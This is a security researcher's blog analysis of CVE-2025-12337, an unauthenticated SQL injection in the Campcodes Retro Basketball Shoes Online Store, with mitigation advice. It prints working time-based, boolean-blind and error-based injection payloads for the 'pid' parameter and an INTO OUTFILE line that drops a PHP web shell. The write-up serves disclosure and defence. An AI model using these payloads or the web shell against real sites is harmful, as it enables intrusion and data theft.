CVE-2025-12337

Slam Dunking the Database: A Deep Dive into CVE-2025-12337

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 15, 2026·7 min read

Executive Summary (TL;DR)

Campcodes Retro Basketball Shoes Online Store v1.0 contains a classic SQL Injection vulnerability in the '/admin/admin_feature.php' file. Despite residing in the admin directory, the script allegedly fails to enforce authentication, allowing anyone to inject SQL via the 'pid' parameter. This grants full database access, enabling attackers to dump credentials, modify product pricing, or potentially achieve RCE depending on database privileges.

A critical SQL Injection vulnerability in Campcodes Retro Basketball Shoes Online Store allows remote, unauthenticated attackers to execute arbitrary SQL commands via the 'pid' parameter.

The Hook: Retro Shoes, Retro Code

In the world of cybersecurity, the word "Retro" usually implies nostalgia, vintage aesthetics, and perhaps a longing for simpler times. Unfortunately, for the Campcodes Retro Basketball Shoes Online Store, "Retro" also describes their coding standards. CVE-2025-12337 is a stark reminder that while the calendar says 2025, a frightening amount of the internet is still running on code logic that belongs in a PHP 4 tutorial from 2004.

The vulnerability resides in a file named /admin/admin_feature.php. Now, a sensible developer might assume that anything inside an /admin/ directory is behind a fortress of session checks and authentication gates. But in the wild west of budget PHP scripts, assumptions are the mother of all compromise. This specific component is designed to toggle the "featured" status of a shoe product, likely promoting it to the front page. It takes a product ID (pid) and updates the database.

Here is the kicker: reports indicate this endpoint can be hit without valid administrative credentials. It is like locking your front door but leaving the bathroom window wide open with a neon sign pointing to it. This isn't just a bug; it is an open invitation for anyone with curl and a dream to become the new system administrator.

The Flaw: Trusting User Input (Again)

The root cause of CVE-2025-12337 is the most pervasive sin in web development: Implicit Trust. The application takes the pid parameter from a POST request and passes it directly to the database driver. There is no type casting, no prepared statement, and not even a pitiful attempt at addslashes().

When a developer writes code like this, they are expecting the user to behave. They expect the user to send a nice, clean integer like 101. They do not expect the user to send 101' OR 1=1--. The interpreter, however, does not care about expectations. It sees a string concatenation, builds the SQL query, and executes exactly what it was told to execute.

Technically, this is a CWE-89: Improper Neutralization of Special Elements used in an SQL Command. Because the input is not sanitized, the attacker can use a single quote ' to break out of the intended data context (the ID) and enter the code context (the SQL command). From there, the database is their playground. They can use UNION SELECT to extract data, or UPDATE to modify records. The specific flavor of injection here allows for Boolean-based blind, Error-based, and Time-based blind attacks, meaning even if the application suppresses errors, the database can still be drained bit by bit.

The Code: Anatomy of a Disaster

Let's look at the "Smoking Gun". While we don't have the exact source code repository commit history (as this is often vendor-less "abandonware"), based on the exploit dynamics, the vulnerable PHP code almost certainly looks like this:

// /admin/admin_feature.php
 
// 1. Get the input directly from POST
$pid = $_POST['pid'];
 
// 2. Concatenate it directly into the query string
// The developer likely wanted to toggle a status or update a record
$sql = "UPDATE products SET is_featured = 1 WHERE product_id = '$pid'";
 
// 3. Fire and forget
$conn->query($sql);

Notice the $pid variable inside the double quotes. PHP parses this variable and places its value directly into the string. If $pid is 68129, the query is valid. But if $pid is 68129' AND SLEEP(5)--, the query becomes:

UPDATE products SET is_featured = 1 WHERE product_id = '68129' AND SLEEP(5)--'

The -- comments out the trailing quote, and the database pauses for 5 seconds. That pause confirms we have code execution.

The Fix: To fix this, we need to stop treating user input as code. We must use Prepared Statements. Here is how the code should look:

// The Safe Way
$pid = $_POST['pid'];
 
// 1. Define the structure first (using ? as a placeholder)
$stmt = $pdo->prepare("UPDATE products SET is_featured = 1 WHERE product_id = ?");
 
// 2. Bind the data separately. The DB driver handles the escaping.
$stmt->execute([$pid]);

In the fixed version, if an attacker sends SQL commands, the database treats the entire payload as a literal string. It looks for a product with the ID 68129' AND SLEEP(5)--, finds nothing, and the attack fails harmlessly.

The Exploit: Boolean Blind & Error-Based Extraction

Since we can inject arbitrary SQL, let's look at how we actually steal data. The public PoCs provided for this CVE utilize a few different techniques. The most reliable one often involves Boolean-based Blind SQLi. This technique asks the database true/false questions. If the answer is true, the page loads normally (or a product is 'featured'). If false, something changes or disappears.

Here is a breakdown of the payload provided in the disclosure:

pid=68129' RLIKE (SELECT (CASE WHEN (3021=3021) THEN 68129 ELSE 0x28 END))--

This looks complex, but it's just logic redirection. It uses RLIKE (Regular Expression matching) and a CASE statement. If 3021=3021 (which is always true), it returns the valid ID 68129. If we changed the condition to (SELECT SUBSTRING(user(),1,1))='r', we could test if the database user starts with 'r'.

We also see an Error-based payload leveraging FLOOR() and RAND():

pid=68129' AND (SELECT 9223 FROM(SELECT COUNT(*),CONCAT(0x716a7a7071,(SELECT (ELT(9223=9223,1))),0x7176766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--

This is a classic "double query" injection. It forces the database to generate a duplicate entry error for a key based on RAND(). The magic is that the error message itself contains the result of the query we injected. The database essentially vomits the secret data out in the error log or HTTP response. It's ugly, it's noisy, but it works flawlessly on older MySQL configurations often found on shared hosting.

The Impact: Total Ownership

Why should you care about a shoe store vulnerability? Because the impact here is absolute. An unauthenticated SQL injection in an admin script is essentially a skeleton key.

1. Data Exfiltration: Attackers can dump the users table. This likely contains email addresses, physical addresses, and password hashes. If the site administrators are reusing passwords (spoiler: they usually are), the attacker now has credentials for other corporate assets.

2. Rogue Administration: Since this is an UPDATE query context, the attacker might not just read data; they could modify it. They could set their own account to is_admin=1 in the database, effectively creating a backdoor account.

3. Remote Code Execution (RCE): If the database user has FILE privileges (common in poor setups), the attacker can use SELECT ... INTO OUTFILE to write a PHP web shell to the server's document root.

UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--

Once that shell is dropped, the attacker has full control over the web server, allowing them to pivot into the internal network or use the server for botnet activities.

The Fix: Mitigation Strategy

Fixing this requires a multi-layered approach. Since there is no "official" vendor patch pushing to an auto-update system, manual intervention is required.

Immediate Remediation:

  1. Delete the File: If you aren't using the feature to 'feature' shoes, delete admin_feature.php. The safest code is no code.
  2. Access Control: Configure your web server (Apache .htaccess or Nginx location blocks) to restrict access to the /admin/ directory to trusted IP addresses only.

Code Repair: Refactor the PHP code to use PDO (PHP Data Objects) with prepared statements as shown in the "Code" section above. Ensure that pid is strictly validated to be an integer using filter_var($pid, FILTER_VALIDATE_INT) before it ever touches the database layer.

Defense in Depth: Deploy a Web Application Firewall (WAF). Rulesets like ModSecurity with the OWASP Core Rule Set (CRS) are specifically designed to catch these generic SQL injection patterns (UNION SELECT, SLEEP, RLIKE). A WAF would likely intercept the payloads described in the exploit section before they ever reached the vulnerable PHP interpreter.

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.04%
Top 88% most exploited

Affected Systems

Campcodes Retro Basketball Shoes Online Store v1.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
Retro Basketball Shoes Online Store
Campcodes
= 1.0N/A
AttributeDetail
CWE IDCWE-89 (SQL Injection)
CVSS v3.19.8 (Critical)
Attack VectorNetwork (Remote)
Privileges RequiredNone
Exploit StatusPoC Available
Vulnerable Parampid (POST)
CWE-89
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Vulnerability Timeline

CVE Published
2025-10-28
PoC Released publicly on GitHub
2025-10-28

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.